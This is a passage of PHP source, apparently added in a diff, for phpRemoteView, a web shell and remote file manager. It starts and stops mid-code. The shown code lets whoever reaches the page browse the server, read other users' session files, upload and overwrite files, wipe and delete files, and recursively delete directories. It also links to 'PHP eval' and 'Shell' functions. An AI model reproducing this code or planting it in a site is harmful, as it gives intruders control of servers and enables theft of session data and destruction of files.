"$self?c=d&d=".urlencode($d); + case 'home': return "http://php.spb.ru/remview/"; + case 'papki': return "$self?c=tree&d=".urlencode($d); + case 'setup': return "$self?c=t"; + case 'back': return "javascript:history.back(-1)"; + } + } + echo '<td colspan='.strlen($cn).'> + <table border=0 cellspacing=0 cellpadding=2><tr>'; + $buttons=array('back','up','refresh','edit','mode','disk','full','papki','setup','home'); + $tmp=strtoupper($d[0]); + for ($i=0; $i<count($buttons); $i++) { + if ($buttons[$i]=='full') { + echo '<td class=window width=90% align=center nowrap><font color=#999999 face="Arial Black" + style="font-size: 11pt;">&lt;?php<u>R</u>emote<u>V</u>iew?&gt;</font></td>'; + continue; + } + if ($buttons[$i]=='disk') { + if (!$win) continue; + echo '<td width=1% title=\'Select dist\' class=window onMouseOver="this.style.backgroundColor=\'#eeee88\'" '. + ' onMouseOut="this.style.backgroundColor=\'\'">'; + echo "<select name=disk size=1; style='font: 9pt Arial Black; color: #999999 ' + onChange='location.href=\"$self?c=l&d=\"+document.main.disk.options[document.main.disk.selectedIndex].value+\":/\"'>"; + for ($j=ord('A'); $j<=ord('Z'); $j++) + echo '<option value="'.chr($j).'"'.(chr($j)==$tmp?" selected":"").'>'.chr($j); + echo "</select></td>"; + continue; + } + $bturl=button_url($buttons[$i]); + echo '<td width=1% title=\''.$button_help[$buttons[$i]].'\' class=window'. + ' onMouseMove="this.style.backgroundColor=\'#eeee88\';window.status=\'** '.$button_help[$buttons[$i]].' ** '.$bturl.'\'"'. + ' onMouseOut="this.style.backgroundColor=\'\';window.status=\'\'"'. + ' onClick=\'location.href="'.$bturl.'"\'><a href='; + echo button_url($buttons[$i]); + echo '><img HSPACE=3 border=0 src='.$self.'?c=img&name='.$buttons[$i].'></a></td>'; + } + echo '</tr></table> + </td></tr><tr>'; + + + for ($i=0; $i<strlen($cn); $i++) { + echo "<td nowrap class=title onClick='location.href=\"". + "$self?c=set&c2=sort&name=$i&pan=$panel&ref=$uurl\"'"; + switch ($cn[$i]) { + case 1: case 2: case 3: case "s": echo " width=13%"; break; + case 't': echo " width=2%"; break; + case 'n': echo " width=40%"; break; + } + echo "><a href='$self?c=set&c2=sort&name=$i&pan=$panel&ref=$uurl' class=black>"; + switch ($cn[$i]) { + case "n": case "t": case "s": case "o": case "g": + case "a": case "c": case "1": case "2": case "3": + echo "\xA0".$cn_name[$cn[$i]]."\xA0"; break; + default: + echo "??$cn[$i]??"; + } + if ($cc[0]==="$i") { + if ($cc[1]=='0') echo "<img src=$self?c=img&name=sort_asc border=0>"; + else echo "<img src=$self?c=img&name=sort_desc border=0>"; + } + echo '</a></td>'; + } + echo '</tr>'; + + echo "\n\n<script>\n\n"; + foreach ($names as $k=>$v) { + + echo "\n\n// $k \n"; + echo 'tr('; + + for ($i=0; $i<strlen($cn); $i++) { + + switch ($cn[$i]) { + + case 'n': + switch($ftype[$k]) { + case 'file': + $vv=strtolower(substr($k,strlen($k)-4,4)); + $add=""; + if ($vv==".gif" || $vv==".jpg" || $vv==".png" || $vv==".bmp" + || $vv==".ico" || $vv=="jpeg") $add="&ftype=2&fnot=1"; + if (substr($k,0,5)=="sess_") $add="&ftype=4"; + $ln='<a href='.$self.'?&c=v&d='.urlencode($d). + '&f='.urlencode($k).$add.'>'; + break; + + default: + $ln='<a href='.$self.'?&c=l&d='.urlencode($d.$k).'>'; + break; + } + + if ($ftype[$k]=='dir') + $ln.='<img src='.$self.'?c=img&name=dir border=0>'; + else { + $found=0; + foreach ($ext as $kk=>$vv) { + if (in_array(strtolower($fext[$k]),$vv)) { + $ln.='<img src='.$self.'?c=img&name='.$kk.' border=0>'; + $found=1; + break; + } + } + if (!$found) + $ln.='<img src='.$self.'?c=img&name=unk border=0>'; + } + $ln.=substr($k,0,48).'</a>'; + echo jsval($ln); + + break; + + case "t": + switch ($ftype[$k]) { + case "dir": + echo jsval("<a href=$self?c=d&d=".urlencode($d.$k).">DIR</a>"); + break; + case "file": + echo jsval("<a href=$self/".urlencode($k)."?&c=v&fnot=1&ftype=3&d=". + urlencode($d)."&f=".urlencode($k)." class=sym>\xF2</a> ". + "<a href=$self?&c=i&d=".urlencode($d)."&f=".urlencode($k)." class=sym>\xF0</a>"); + break; + case "link": + echo jsval("<font class=t>&#8212;&gt;</font>"); + break; + default: + echo jsval("??"); + break; + } + break; + + case "s": + if ($ftype[$k]=='file') echo jsval(sizeparse($fsize[$k])); + else echo jsval(''); + break; + + case "o": + $tmp=@_posix_getpwuid($fowner[$k]); + if (!isset($tmp['name']) || $tmp['name']=="") $tow=$fowner[$k]; + else $tow=$tmp['name']; + echo jsval($tow); + break; + + case "g": + $tmp2=@_posix_getgrgid($fgroup[$k]); + if (!isset($tmp2['name']) || $tmp2['name']=="") $tgr=$fgroup[$k]; + else $tgr=$tmp2['name']; + echo jsval($tgr); + break; + + case "a": + $tmp=@_posix_getpwuid($fowner[$k]); + if (!isset($tmp['name']) || $tmp['name']=="") $tow=$fowner[$k]; + else $tow=$tmp['name']; + $tmp2=@_posix_getgrgid($fgroup[$k]); + if (!isset($tmp2['name']) || $tmp2['name']=="") $tgr=$fgroup[$k]; + else $tgr=$tmp2['name']; + echo jsval("$tow/$tgr"); + break; + + case "c": + echo jsval(display_perms($fperms[$k])); break; + + case "1": echo jsval(date($cp[2],$fctime[$k])); break; + + case "2": echo jsval(date($cp[2],$fmtime[$k])); break; + + case "3": echo jsval(date($cp[2],$fatime[$k])); break; + + default: echo "??$cn[$i]??"; + + } //switch ($ftype) + + }//for ($cn) + + echo "0);\n"; + + }//foreach ($names) + + echo "\n\n</script>\n\n\n"; + + echo '</td></tr></table></td></tr></table></td></tr></table>'; + + + echo "<P align=center> + <font size=1 style='Font: 8pt Verdana'><B> + <a href=$self?c=setup&ref=$uurl>".mm("Setup")."</a> | + <a href=$self?c=t>PHP eval</a> | + <a href=$self?c=phpinfo>phpinfo()</a> | + <a href=$self?c=t>Shell</a> | + <a href=$self?c=codes>".mm("Char map")."</a> | + ".mm("Language").": + <a href=$self?c=set&c2=eng&ref=$uurl&pan=0>".mm("English")."</a>/<a href=$self?c=set&c2=rus&ref=$uurl&pan=0>".mm("Russian")."</a> + + </b> + <hr size=1 noshade width=55%><center> + + <table border=0 cellspacing=0 cellpadding=0><tr><td width=32> + <font face=webdings style='Font-size: 22pt;'>&#0033;</font></td><td> + <font size=1 style='Font: 8pt Verdana'>phpRemoteView &copy; Dmitry Borodin (".mm("version")." $version)<br> + ".mm("Free download")." - <a href='http://php.spb.ru/remview/'>http://php.spb.ru/remview/</a></b></font></td> + </tr></table>"; + +break; + + +case "set": + + switch ($c2) { + case "sort": + $name=intval($name); + if ($name==$cc[0]) if ($cc[1]==='0') $cc[1]='1'; else $cc[1]='0'; + $cc[0]=$name; + break; + + case "panel": + $cn=''; + foreach ($names as $k=>$v) { + if ($v!="") $cn.=substr($v,0,1); + } + $cc[0]=substr($sort,0,1); + $cc[1]=substr($sortby,0,1); + $cp[2]=substr($datetime,0,50); + $cp[3]=substr($fontname,0,50); + $cp[4]=substr($fontsize,0,50); + + //exit("cn=$cn<br>cc=$cc"); + break; + + case "eng": + $cc[5]=1; + break; + + case "rus": + $cc[5]=2; + break; + + } + + + $cookie=$cc."~".$cn."~".$cp[2]."~".$cp[3]."~".$cp[4]; + if ($c2=="reset") $cookie=implode("~",$cp_def); + //echo "<script>alert('$cookie')</script>"; + setcookie("cp$pan",$cookie,time()+24*60*60*333,'/'); + header("Location: $ref"); + echo "<script>location.href=\"$ref\";</script>"; + //echo "[$ref]"; + //phpinfo(); + break; + + +case "setup": + + echo $GLOBALS['html']; + + echo "<center><h3><b>phpRemoteView ".mm("setup")."</b> [<A href='javascript:history.go(-1)'>".mm("back")."</a>]</h3></center><hr size=1 noshade>"; + + echo "<STYLE> + .setup { + font-size: 8pt; + font-family: Tahoma; + } + HTML, TD {font: 90%} + </STYLE>"; + + echo " + <b><u>".mm("Reset all settings")."</u></b>: <a href=$self?c=set&c2=reset&pan=$panel&ref=$ref>".mm("clear")."</a>"; + echo " <font color=white>(".mm("Current").": <small>".implode(" | ",$cp)."</small>)</font><P>"; + + echo " + <form action=$self method=post> + <input type=hidden name=c value=\"set\"> + <input type=hidden name=c2 value=\"panel\"> + <input type=hidden name=pan value=\"$panel\"> + <input type=hidden name=ref value=\"$ref\"> + "; + echo "<b><u>".mm("Colums and sort")."</u></b><br>"; + + echo "".mm("Sort order").": "; + echo "<input type=radio name=sortby value=0 id=q3 ".($cc[1]=='0'?"checked":"").">"; + echo "<label for=q3>".mm("Ascending sort")."</label>"; + echo "<input type=radio name=sortby value=1 id=q4 ".($cc[1]=='1'?"checked":"").">"; + echo "<label for=q4>".mm("Descending sort")."</label><br>"; + + echo "<input type=radio name=sort value='n' id=q1 ".($cc[0]=='n'?"checked":"").">"; + echo "<label for=q1>".mm("Sort by filename")."</label>"; + echo "<input type=radio name=sort value='e' id=q2 ".($cc[0]=='e'?"checked":"").">"; + echo "<label for=q2>".mm("Sort by filename extension")."</label>"; + echo "<table border=0 cellspacing=0 cellpadding=3>"; + for ($i=0; $i<2; $i++) { + echo "<tr>"; + for ($j=0; $j<7; $j++) { + $n=$j+$i*7; + echo "<td align=center><label for=$n>Sort by ".($n+1)."</label>"; + echo "<input type=radio name=sort value=$n id=$n ".($cc[0]=="$n"?"checked":"").">"; + echo "<br><select class=setup name=names[] size=".(count($cn_name)+1).">"; + echo "<option value=''>--hidden--"; + foreach ($cn_name as $kk=>$vv) + echo "<option value='$kk'".($n<strlen($cn) && $cn[$n]==$kk?" selected":"").">$vv"; + echo "</select>"; + } + echo "</tr>"; + } + echo "</table><P>"; + + echo "<b><u>".mm("Date/time format")."</u></b>: <input type=text name=datetime value=\"$cp[2]\"><br> + d - day, m - month, y - year2, Y - year4, H - hour, m - minute, s - second<P>"; + + echo "<b><u>".mm("Panel font & size")."</u></b>: + <input type=text name=fontname value=\"$cp[3]\" size=12> + <input type=text name=fontsize value=\"$cp[4]\" size=2>pt<P>"; + + echo "<P><center><input type=submit value='&nbsp; &nbsp; S &nbsp; U &nbsp; B &nbsp; M &nbsp; I &nbsp; T &nbsp; &nbsp;'></center></form>"; + + + echo "<hr size=1 noshade>"; + break; + + + +// view +case "v": + + + if (!isset($fnot)) $fnot=0; + if (!isset($ftype)) $ftype=0; + + if ($fnot==0) { + echo $GLOBALS['html']; + up($d,$f); + echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>".mm("back to directory")."</b> &gt;&gt;&gt;</nobr></a>"; + up_link($d,$f); + echo "<hr size=1 noshade>"; + } + if (!realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found").""); + if (!is_file($d.$f) || !$fi=@fopen($d.$f,"rb")) exit("<p><font color=red><b>".mm("access denied")."</b></font>"); + + if ($ftype==0 || $ftype==4) { + $buf=fread($fi,max(filesize($d.$f),$maxsize_fread)); + fclose($fi); + } + + + switch ($ftype) { + + case 0: + echo "<pre>".htmlspecialchars($buf)."</pre>"; + break; + + case 1: + readfile($d.$f); + break; + + case 2: + header("Content-type: image/gif"); + readfile($d.$f); + break; + + case 3: // download + + if (isset($fatt) && strlen($fatt)>0) { + $attach=$fatt; + header("Content-type: text/plain"); + } + else { + $attach=$f; + header("Content-type: phpspbru"); + } + header("Content-disposition: attachment; filename=\"$attach\";"); + readfile($d.$f); + break; + + case 4: // session + + echo "<xmp>"; + if (substr($f,0,5)=="sess_" && preg_match("!^sess_([a-z0-9]{32})$!i",$f,$ok)) { + ini_set("session.save_path",$d); + session_id($ok[1]); + session_start(); + print_r($HTTP_SESSION_VARS); + } + else { + print_r(unserialize($buf)); + } + echo "</xmp>";//<hr size=1 noshade><xmp>"; + break; + + } + + break; + + + + + + + +case "i": // information for FILE + + echo $GLOBALS['html']; + up($d,$f); + echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>".mm("back to directory")."</b> &gt;&gt;&gt;</nobr></a>"; + up_link($d,$f); + + if (!realpath($d.$f) || !file_exists($d.$f)) exit(mm("file not found")); + + echo "<P><big><b><tt>".htmlspecialchars($d.$f)."</tt></b></big><P>"; + echo "<table class=tab border=0 cellspacing=1 cellpadding=2>"; + echo "<tr class=tr><td>".mm("Size")." </td><td> ".filesize($d.$f)."</td></tR>"; + echo "<tr class=tr><td>".mm("Owner")."/".mm("Group")." </td><td> "; + $tmp=@_posix_getpwuid(fileowner($d.$f)); + if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." "; + else echo $tmp['name']." "; + $tmp=@_posix_getgrgid(filegroup($d.$f)); + if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f); + else echo $tmp['name']; + echo "<tr class=tr><td>".mm("FileType")." </td><td> ".filetype($d.$f)."</td></tr>"; + echo "<tr class=tr><td>".mm("Perms")." </td><td> ".display_perms(fileperms($d.$f))."</td></tr>"; + echo "<tr class=tr><td>".mm("Create time")." </td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr>"; + echo "<tr class=tr><td>".mm("Access time")." </td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr>"; + echo "<tr class=tr><td>".mm("MODIFY time")." </td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr>"; + echo "</table><P>"; + + $fi=@fopen($d.$f,"rb"); + if ($fi) { + $str=fread($fi,$hexdump_lines*$hexdump_rows); + echo "<b>".mm("HEXDUMP PREVIEW")."</b>"; + $n=0; + $a0="00000000<br>"; + $a1=""; + $a2=""; + for ($i=0; $i<strlen($str); $i++) { + $a1.=sprintf("%02X",ord($str[$i])).' '; + switch (ord($str[$i])) { + case 0: $a2.="<font class=s2>0</font>"; break; + case 32: + case 10: + case 13: $a2.="&nbsp;"; break; + default: $a2.=htmlspecialchars($str[$i]); + } + $n++; + if ($n==$hexdump_rows) { + $n=0; + if ($i+1<strlen($str)) $a0.=sprintf("%08X",$i+1)."<br>"; + $a1.="<br>"; + $a2.="<br>"; + } + } + //if ($a1!="") $a0.=sprintf("%08X",$i)."<br>"; + echo "<table border=0 bgcolor=#cccccc cellspacing=1 cellpadding=4 ". + "class=sy><tr><td bgcolor=#e0e0e0>$a0</td><td bgcolor=white>". + "$a1</td><td bgcolor=white>$a2</td></tr></table><p>"; + } + + echo "<b>Base64: </b> + <nobr>[<a href=$self?c=base64&c2=0&d=".urlencode($d)."&f=".urlencode($f).">Encode</a>]&nbsp;</nobr> + <nobr>[<a href=$self?c=base64&c2=1&d=".urlencode($d)."&f=".urlencode($f).">+chunk</a>]&nbsp;</nobr> + <nobr>[<a href=$self?c=base64&c2=2&d=".urlencode($d)."&f=".urlencode($f).">+chunk+quotes</a>]&nbsp;</nobr> + <nobr>[<a href=$self?c=base64&c2=3&d=".urlencode($d)."&f=".urlencode($f).">Decode</a>]&nbsp;</nobr> + <P>"; + + + if (!$write_access) exitw(); + + $msg=""; + if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (<font color=red><b>".mm("ONLY READ ACCESS")."</b></font>)"; + else fclose($fi); + if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (<font color=red><b>".mm("Can't READ file - access denied")."</b></font>)"; + else fclose($fi); + if ($msg=="") $msg=" (".mm("full read/write access").")"; + + echo "<b>".mm("FILE SYSTEM COMMANDS")."$msg</b><p>"; + + echo " +<table border=0 cellspacing=0 cellpadding=0><tr> + +<td bgcolor=#cccccc><a href=$self?c=e&d=".urlencode($d)."&f=".urlencode($f). +"><b>&nbsp;&nbsp;".mm("EDIT")."&nbsp;&nbsp;<br>&nbsp;&nbsp;".mm("FILE")."&nbsp;&nbsp;</b></a></td> +<td>&nbsp;&nbsp;&nbsp;</td> + +<td><form action=$self method=post> +<input type=hidden name=c value=delete> +<input type=hidden name=c2 value=delete> +<input type=hidden name=d value=\"".htmlspecialchars($d)."\"> +<input type=hidden name=f value=\"".htmlspecialchars($f)."\"> +<input type=submit value='".mm("DELETE")."'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr><br> +<small>".mm("Delete this file")."</small> +</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td> + +<td><form action=$self method=post> +<input type=hidden name=c value=delete> +<input type=hidden name=c2 value=clean> +<input type=hidden name=d value=\"".htmlspecialchars($d)."\"> +<input type=hidden name=f value=\"".htmlspecialchars($f)."\"> +<input type=submit value='".mm("CLEAN")."'><small>&gt;</small><input type=checkbox name=confirm value=touch></nobr><br> +<small>".mm("filesize to 0byte")."</small> +</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td> + +<td><form action=$self method=post> +<input type=hidden name=c value=delete> +<input type=hidden name=c2 value=touch> +<input type=hidden name=d value=\"".htmlspecialchars($d)."\"> +<input type=hidden name=f value=\"".htmlspecialchars($f)."\"> +<input type=submit value='".mm("TOUCH")."'><small>&gt;</small><input type=checkbox name=confirm value=touch></nobr><br> +<small>".mm("Set current 'mtime'")."</small> +</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td> + +<td><form action=$self method=post> +<input type=hidden name=c value=delete> +<input type=hidden name=c2 value=wipe> +<input type=hidden name=d value=\"".htmlspecialchars($d)."\"> +<input type=hidden name=f value=\"".htmlspecialchars($f)."\"> +<input type=submit value='".mm("WIPE(delete)")."'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr><br> +<small>".mm("Write '0000..' and delete")."</small> +</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td> +</tr></table> +"; + + echo "<form action=$self method=post><input type=hidden name=c value=copy>". + "<b>".mm("COPY FILE")."</b> ".mm("from")." <input type=text size=40 name=from value=\"".htmlspecialchars($d.$f)."\">". + " ".mm("to")." <input type=text name=to size=40 value=\"".htmlspecialchars($d.$f)."\">". + "<nobr><input type=submit value='".mm("COPY")."!'>". + "&gt;<input type=checkbox name=confirm value=copy></nobr></form>"; + +echo " +<form action=$self method=post> +<b>".mm("MAKE DIR")."</b> (".mm("type full path").") +<input type=hidden name=c value=newdir_submit> +<input type=text size=60 name=df value=\"".htmlspecialchars($d)."\"> +<input type=submit value='".mm("MkDir")."'> +</form>"; + + +echo " +<form action=$self method=post> +<b>".mm("CREATE NEW FILE or override old file")."</b><br> +<input type=hidden name=c value=newfile_submit> +".mm("Full file name")." <input type=text size=50 name=df value=\"".htmlspecialchars($d.$f)."\"> +<input type=submit value='".mm("CREATE/OVERRIDE")."'> +<input type=checkbox name=confirm value=1 id=conf1><label for=conf1>&lt;=confirm</label><br> +<textarea name=text cols=70 rows=10 style='width: 100%;'></textarea><br> +</form>"; + +echo " +<form enctype='multipart/form-data' action='$self' method=post> +<input type=hidden name=c value=fileupload_submit> +<b>FILE UPLOAD: ".mm("CREATE NEW FILE or override old file")."</b><br> +<input type=hidden name='MAX_FILE_SIZE' value=999000000> +1. ".mm("select file on your local computer").": <input name=userfile type=file><br> +2. ".mm("save this file on path").": + <input name=df size=50 value=\"$d$f\"><br> +3. <input type=checkbox name=df2 value=1 id=df2 checked> + <label for=df2>".mm("create file name automatic")."</label> + &nbsp;&nbsp;".mm("OR")."&nbsp;&nbsp; + ".mm("type any file name").": + <input name=df3 size=20><br> +4. <input type=checkbox name=df4 value=1 id=df4> + <label for=df4>".mm("convert file name to lovercase")."</label><br> +<input type=submit value='".mm("Send File")."'> +</form>"; + +break; + + +case "base64": + + echo "<pre>\n"; + $ff=fopen($d.$f,"rb") or exit("<p>access denied"); + $text=fread($ff,max(filesize($d.$f),$maxsize_fread)); + fclose($ff); + switch ($c2) { + case 0: + echo base64_encode($text); + break; + case 1: + echo chunk_split(base64_encode($text)); + break; + case 2: + $text=base64_encode($text); + echo substr(preg_replace("!.{1,76}!","'\\0'.\n",$text),0,-2); + break; + case 3: + echo base64_decode($text); + break; + } + break; + + + +case "d": // information for DIRECTORY + + echo $GLOBALS['html']; + up($d,"","Directory"); + echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>".mm("back to directory")."</b> &gt;&gt;&gt;</nobr></a>"; + echo "<p>"; + + //up_link($d,""); + + if (!realpath($d) || !is_dir($d.$f)) exit(mm("dir not found")); + + echo "<table border=0 cellspacing=0 cellpadding=0><tr><td>"; + + echo "<table border=0 cellspacing=1 cellpadding=1 class=tab>"; + echo "<tr class=tr><td>&nbsp;&nbsp;&nbsp;".mm("Owner")."/".mm("Group")."&nbsp;&nbsp;&nbsp;</td><td>"; + $tmp=@_posix_getpwuid(fileowner($d.$f)); + if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." "; + else echo $tmp['name']." "; + $tmp=@_posix_getgrgid(filegroup($d.$f)); + if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f); + else echo $tmp['name']; + echo "</td></tr><tr class=tr><td>"; + echo mm("Perms")."</td><td>".display_perms(fileperms($d.$f))."</td></tr><tr class=tr><td>"; + echo mm("Create time")."</td><td>".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr class=tr><td>"; + echo mm("Access time")."</td><td>".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr class=tr><td>"; + echo mm("MODIFY time")."</td><td>".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>"; + + echo "</tD><form action=$self method=get><td width=70>&nbsp;</td><td> + <input type=hidden name=c value=\"tree\"> + Root <input type=text name=d value=\"$d\"><br> + <input type=checkbox name=showfile value=1 id=tree1><label for=tree1>Show files in tree</label><br> + <input type=checkbox name=showsize value=1 id=tree2 checked><label for=tree2>Show dir/files size</label><br> + <input type=submit value='Show TREE directory'>"; + + echo "</td></form></tr></table><P>"; + + + + if (!$write_access) exitw(); + + echo "<b>".mm("FILE SYSTEM COMMANDS")."</b><p>"; + + echo " +<table border=0 cellspacing=0 cellpadding=0><tr> + +<td><form action=$self method=post> +<input type=hidden name=c value=dirdelete> +<input type=hidden name=c2 value=files> +<input type=hidden name=d value=\"".htmlspecialchars($d)."\"> +<input type=hidden name=ref value=\"$url\"> +<input type=submit value='".mm("Delete all files in dir")." (rm *)'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr> +</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td> + +<td><form action=$self method=post> +<input type=hidden name=c value=dirdelete> +<input type=hidden name=c2 value=dir> +<input type=hidden name=d value=\"".htmlspecialchars($d)."\"> +<input type=hidden name=ref value=\"$url\"> +<input type=submit value='".mm("Delete all dir/files recursive")." (rm -fr)'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr> +</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td> + +</tr></table> +"; + +echo " +<form action=$self method=post> +<b>".mm("MAKE DIR")."</b> (type full path) +<input type=hidden name=c value=newdir_submit> +<input type=text size=60 name=df value=\"".htmlspecialchars($d)."\"> +<input type=submit value='".mm("MkDir")."'> +</form>"; + + +echo " +<form action=$self method=post> +<b>".mm("CREATE NEW FILE or override old file")."</b><br> +<input type=hidden name=c value=newfile_submit> +".mm("Full file name")." <input type=text size=50 name=df value=\"".htmlspecialchars($d)."\"> +<input type=submit value='".mm("CREATE/OVERRIDE")."'> +<input type=checkbox name=confirm value=1 id=conf1><label for=conf1>&lt;=confirm</label><br> +<textarea name=text cols=70 rows=10 style='width: 100%;'></textarea><br> +</form>"; + +echo " +<form enctype='multipart/form-data' action='$self' method=post> +<input type=hidden name=c value=fileupload_submit> +<b>(FILE UPLOAD) ".mm("CREATE NEW FILE or override old file")."</b><br> +<input type=hidden name='MAX_FILE_SIZE' value=999000000> +1. ".mm("select file on your local computer").": <input name=userfile type=file><br> +2. ".mm("save this file on path").": + <input name=df size=50 value=\"".realpath($d)."/\"><br> +3. <input type=checkbox name=df2 value=1 id=df2 checked> + <label for=df2>".mm("create file name automatic")."</label> + &nbsp;&nbsp;".mm("OR")."&nbsp;&nbsp; + ".mm("type any file name").": + <input name=df3 size=20><br> +4. <input type=checkbox name=df4 value=1 id=df4> + <label for=df4>".mm("convert file name to lovercase")."</label><br> +<input type=submit value='".mm("Send File")."'> +</form>"; + + +break; + + + +case "tree": + +$tcolors=array( +'eee','ddd','ccc','bbb','aaa','999','888','988','a88','b88','c88','d88','e88','d98', +'ca8','bb8','ac8','9d8','8e8','8d9','8ca','8bb','8ac','89d','88e'); + +function dir_tree($df,$level=0) { + global $tcolors,$self; + + $df=str_replace("//","/",$df); + $dirs=array(); + $files=array(); + if ($dir=opendir($df)) { + while (($file=readdir($dir))!==false) { + if ($file=="." || $file=="..") continue; + if (is_dir("$df/$file")) { + $dirs[]=$file; + } + else { + $files[]=$file; + } + } + } + closedir($dir); + + sort($dirs); + sort($files); + + $i=min($level,count($tcolors)-1); + $c=$tcolors[$i][0].$tcolors[$i][0].$tcolors[$i][1].$tcolors[$i][1].$tcolors[$i][2].$tcolors[$i][2]; + + echo "\r\n\r\n\r\n + <table width=100% border=0 cellspacing=2 cellpadding=1><tr><td bgcolor=#000000> + <table width=100% border=0 cellspacing=0 cellpadding=1 bgcolor=#$c> + <tr><td colspan=3 class=dir>". + "<a href=$self?c=l&d=".urlencode($df)." class=dir><img src=$self?name=dir&c=img&1 border=0>". + $df."</a></td></tr>"; + + if (count($dirs) || count($files)) { + echo "<tr><td width=15>&nbsp;</td><td class=all width=97%>"; + for ($i=0; $i<count($files); $i++) { + echo $files[$i]." "; + } + for ($i=0; $i<count($dirs); $i++) { + dir_tree($df."/".$dirs[$i],$level+1); + } + echo "</td><td width=10>&nbsp;</td></tr>"; + } + echo '</table></td></tr></table>'; +} + + echo " + <STYLE> + .all { + font-family: Verdana; + font-size: 80%; + } + .dir { + font-family: Verdana; + font-size: 95%; + background: #666699; + font-weight: bold; + color: white + } + </STYLE>"; + echo $GLOBALS['html']; + + up($d,"","Directory"); + echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>".mm("back to directory")."</b> &gt;&gt;&gt;</nobr></a>"; + echo "<p>"; + dir_tree($d); + break; + + + +case "delete": + + if (!$write_access) exitw(); + + if (!isset($c2)) exit("err# delete 1"); + if (!isset($confirm) || strlen($confirm)<3) exit("".mm("Confirm not found (go back and set checkbox)").""); + echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>".mm("back to directory")."</b> &gt;&gt;&gt;</nobr></a><p>"; + if (!isset($d) || !isset($f) || !@file_exists($d.$f) || !@realpath($d.$f)) + exit("".mm("Delete cancel - File not found").""); + if (realpath(getenv("SCRIPT_FILENAME"))==$d.$f && !isset($delete_remview_confirm)) + exit(mm("Do you want delete this script (phpRemoteView) ???")."<br><br><br><br> + <a href='$self?c=delete&c2=$c2&confirm=delete&d=".urlencode($d)."&f=".urlencode($f)."&delete_remview_confirm=YES'>[".mm("YES").", ".mm("DELETE")." <b>".mm("ME")."</b>]</a> + &nbsp; &nbsp; &nbsp; + <a href='javascript:history.back(-1)'>[".mm("NO (back)")."]</a>"); + + switch ($c2) { + case "delete": + //exit("$d $f"); + ob(); + if (!unlink($d.$f)) + obb().exit("<font color=red><b>".mm("Delete cancel")." - ".mm("ACCESS DENIED")."</b></font>$obb"); + Header("Location: $self?c=l&d=".urlencode($d)); + echo "<P><a href=$self?c=l&d=".urlencode($d).">".mm("done (go back)")."!</a><p>"; + echo "".mm("Delete ok").""; + break; + case "touch": + ob(); + if (!touch($d.$f)) + obb().exit("<font color=red><b>".mm("Touch cancel")." - ".mm("ACCESS DENIED")."</b></font>$obb"); + Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f)); + echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">".mm("done (go back)")."!</a><p>"; + echo "".mm("Touch ok (set current time to 'modify time')").""; + break; + case "clean": + ob(); + $fi=fopen($d.$f,"w+") or + obb().exit("<font color=red><b>".mm("Clean (empty file) cancel")." - ".mm("ACCESS DENIED")."</b></font>obb"); + ftruncate($fi,0); + fclose($fi); + Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f)); + echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">".mm("done (go back)")."!</a><p>"; + echo "".mm("Clean ok (file now empty)").""; + break; + case "wipe": + $size=filesize($d.$f); + ob(); + $fi=fopen($d.$f,"w+") or + obb().exit("<font color=red><b>".mm("Wipe cancel - access denied")."</b></font>$obb"); + $str=md5("phpspbru".mt_rand(0,999999999).time()); + for ($i=0; $i<5; $i++) $str.=$str; // strlen 1024 byte + for ($i=0; $i<intval($size/1024)+1; $i++) fwrite($fi,$str); + fclose($fi); + ob(); + if (!unlink($d.$f)) + obb().exit("err# delete 2 - file was rewrite, but not delete...(only write access, delete disable)$obb"); + Header("Location: $self?c=l&d=".urlencode($d)); + echo "<a href=$self?c=i&d=".urlencode($d).">".mm("done (go back)")."!</a><p>"; + echo "".mm("Wipe ok (file deleted)").""; + break; + } + + //Header("Location: $self?c=l&d=".urlencode(dirname($df))); + //echo "<a href=$self?c=i&d=".urlencode(dirname($df)).">SAVE NEW FILE DONE (go back)!</a>"; + + break; + + +case "dirdelete": + + if (!$write_access) exitw(); + +function dir_delete($df) { + echo "<b>".basename($df)."</b><ul>"; + if ($dir=opendir($df)) { + $i=0; + while (($file=readdir($dir))!==false) { + if ($file=="." || $file=="..") continue; + if (is_dir("$df/$file")) { + dir_delete($df."/".$file); + } + else { + echo "$file<br>"; + echo "".mm("DELETE")." <tt>$df/$file</tt> ...<br>"; + unlink($df."/".$file); + } + $i++; + } + //if ($i==0) echo "-empty-<br>"; + } + closedir($dir); + echo "</ul>"; + echo "".mm("DELETE")." ".mm("DIR")." <tt>$df</tt> ...<br>"; + rmdir("$df/$file"); +} + + if (!isset($c2)) exit("error dirdelete 1"); + if (!isset($confirm)) exit("".mm("Confirm not 